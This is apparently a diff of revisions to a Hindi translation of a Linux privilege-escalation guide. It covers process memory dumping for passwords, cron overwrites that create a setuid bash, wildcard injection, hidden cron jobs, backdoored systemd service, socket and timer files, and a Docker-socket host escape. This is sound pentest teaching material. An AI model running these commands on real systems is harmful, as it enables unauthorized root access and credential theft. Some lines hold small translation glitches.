-हमेशा संभावित [**electron/cef/chromium debuggers** चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया के कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\
+हमेशा संभावित [**electron/cef/chromium debuggers**] के लिए जांचें जो चल रहे हैं, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया के कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\
साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी को ओवरराइट कर सकते हैं।
### प्रक्रिया निगरानी
-आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है।
+आप [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग करके प्रक्रियाओं की निगरानी कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब एक सेट आवश्यकताओं को पूरा किया जाता है।
### प्रक्रिया मेमोरी
-कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स को सहेजती हैं**।\
+कुछ सर्वर की सेवाएँ **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\
सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\
-हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**।
+हालांकि, याद रखें कि **एक नियमित उपयोगकर्ता के रूप में आप उन प्रक्रियाओं की मेमोरी पढ़ सकते हैं जो आपके स्वामित्व में हैं**।
> [!WARNING]
-> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने विशेषाधिकारहीन उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते।
+> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते।
>
> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है:
>
> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है।
> - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है।
-> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसे CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
+> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि यह CAP_SYS_PTRACE क्षमता की आवश्यकता होती है।
> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएँ ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है।
#### GDB
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेUDO फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं।
+किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को एक फ़ाइल में डंप करने** के लिए करते हैं।
```bash
procdump()
(
@@ -281,7 +281,7 @@ Press Ctrl-C to end monitoring without terminating the process.
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-आप प्रक्रिया को डंप कर सकते हैं (प्रक्रिया की मेमोरी को डंप करने के विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज कर सकते हैं:
+आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स के लिए खोज सकते हैं:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@@ -336,13 +336,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron using a script with a wildcard (Wildcard Injection)
-यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया गया है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण:
+यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें (जैसे privesc) करने के लिए कर सकते हैं। उदाहरण:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह असुरक्षित नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।**
+**यदि वाइल्डकार्ड के पहले एक पथ है जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।**
-अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें:
+अधिक वाइल्डकार्ड शोषण चालों के लिए निम्नलिखित पृष्ठ पढ़ें:
{{#ref}}
wildcards-spare-tricks.md
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **एक सिम्लिंक फ़ोल्डर बनाना उपयोगी हो सकता है** जो आपके द्वारा नियंत्रित स्क्रिप्ट को सेवा प्रदान करता है।
+यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **आपके द्वारा नियंत्रित स्क्रिप्ट की सेवा करने वाले दूसरे फ़ोल्डर के लिए एक सिम्लिंक फ़ोल्डर बनाना** उपयोगी हो सकता है।
```bash
ln -d -s
```
@@ -368,11 +368,11 @@ ln -d -s
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**आप भी** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **का उपयोग कर सकते हैं** (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)।
+**आप भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)।
### अदृश्य क्रोन जॉब्स
-एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाना संभव है, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
+एक क्रोनजॉब बनाना संभव है **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के), और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Writable _.service_ files
-जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू** होती है, **फिर से शुरू** होती है या **रोक दी** जाती है (शायद आपको मशीन के पुनरारंभ होने का इंतजार करना पड़े)।\
+जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर** **प्रारंभ** होने पर, **पुनः प्रारंभ** होने पर या **रोकने** पर **चलाए** (शायद आपको मशीन के पुनरारंभ होने की प्रतीक्षा करनी पड़े)।\
उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं।
### Writable service binaries
-याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों, तो बैकडोर निष्पादित हों।
+याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति** है, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएँ फिर से निष्पादित हों, तो बैकडोर निष्पादित होंगे।
### systemd PATH - Relative Paths
@@ -393,13 +393,13 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
systemctl show-environment
```
-यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** की खोज करनी होगी जैसे:
+यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** के उपयोग की खोज करने की आवश्यकता है जैसे:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते हैं लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
+फिर, एक **executables** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर हो जिसे आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **backdoor निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)।
**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।**
@@ -419,18 +419,18 @@ Unit=backdoor.service
```
डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है:
-> जब यह टाइमर समाप्त होता है, तो सक्रिय करने के लिए यूनिट। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, केवल उपसर्ग को छोड़कर। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, केवल उपसर्ग को छोड़कर।
+> वह यूनिट जिसे सक्रिय करना है जब यह टाइमर समाप्त होता है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, सिवाय उपसर्ग के। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, सिवाय उपसर्ग के।
इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए:
-- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रहा है
-- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रहा है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
+- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है
+- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए)
**`man systemd.timer` के साथ टाइमर्स के बारे में अधिक जानें।**
### **टाइमर सक्षम करना**
-टाइमर को सक्षम करने के लिए आपको रूट अनुमतियों की आवश्यकता है और निष्पादित करना होगा:
+टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
@@ -439,7 +439,7 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd
## Sockets
-Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं।
+Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं।
Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है।
@@ -447,18 +447,18 @@ Sockets को `.socket` फ़ाइलों का उपयोग करक
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहाँ सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)
- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहाँ एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा**। प्रदर्शन कारणों से, नए डेमनों को केवल `Accept=no` के लिए उपयुक्त तरीके से लिखने की सिफारिश की जाती है।
-- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** किए जाते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, इसके बाद प्रक्रिया के लिए तर्क होते हैं।
-- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** किए जाते हैं।
-- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (जिसका उपसर्ग बदला गया हो)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
+- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** होते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं।
+- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** होते हैं।
+- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई का नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा पर डिफ़ॉल्ट होता है जिसका नाम सॉकेट के समान होता है (स suffix को बदलकर)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए।
### Writable .socket files
-यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने तक इंतजार करना होगा।**\
-_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\
+_ध्यान दें कि सिस्टम को उस सॉकेट फ़ाइल कॉन्फ़िगरेशन का उपयोग करना चाहिए या बैकडोर निष्पादित नहीं होगा_
### Writable sockets
-यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets की बात कर रहे हैं और कॉन्फ़िग `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
+यदि आप **कोई लिखने योग्य सॉकेट पहचानते हैं** (_अब हम Unix Sockets की बात कर रहे हैं और कॉन्फ़िगरेशन `.socket` फ़ाइलों की नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं।
### Enumerate Unix Sockets
```bash
@@ -481,11 +481,11 @@ socket-command-injection.md
### HTTP सॉकेट
-ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे इस तरह जांच सकते हैं:
+ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की जो यूनिक्स सॉकेट के रूप में कार्य कर रही हैं_)। आप इसे चेक कर सकते हैं:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ उठा सकते हैं**।
+यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं।
### Writable Docker Socket
@@ -502,7 +502,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
#### **डॉकर एपीआई का सीधे उपयोग करना**
-उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है।
+उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके भी संशोधित किया जा सकता है।
1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें।
@@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **कंटेनर से अटैच करें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके।
+3. **कंटेनर से जुड़ें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके।
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -544,7 +544,7 @@ Upgrade: tcp
docker-security/
{{#endref}}
-## कंटेनरडी (ctr) अधिकार बढ़ाना
+## Containerd (ctr) अधिकार बढ़ाना
यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**:
@@ -562,9 +562,9 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
+D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है।
-यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत खिलाड़ी को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि आवाहनों को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है।
+यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक इनकमिंग कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक म्यूजिक प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं।
D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं।
@@ -629,7 +629,7 @@ timeout 1 tcpdump
### Generic Enumeration
-चेक करें **आप कौन हैं**, आपके पास कौन से **अधिकार** हैं, सिस्टम में कौन से **उपयोगकर्ता** हैं, कौन से **लॉगिन** कर सकते हैं और कौन से **रूट अधिकार** रखते हैं:
+चेक करें **who** आप हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन से **login** कर सकते हैं और कौन से **root privileges** रखते हैं:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
-कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\
+कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)।\
**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`**
### Groups
@@ -694,7 +694,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH
-यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं, जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं किया गया है** $PATH में।
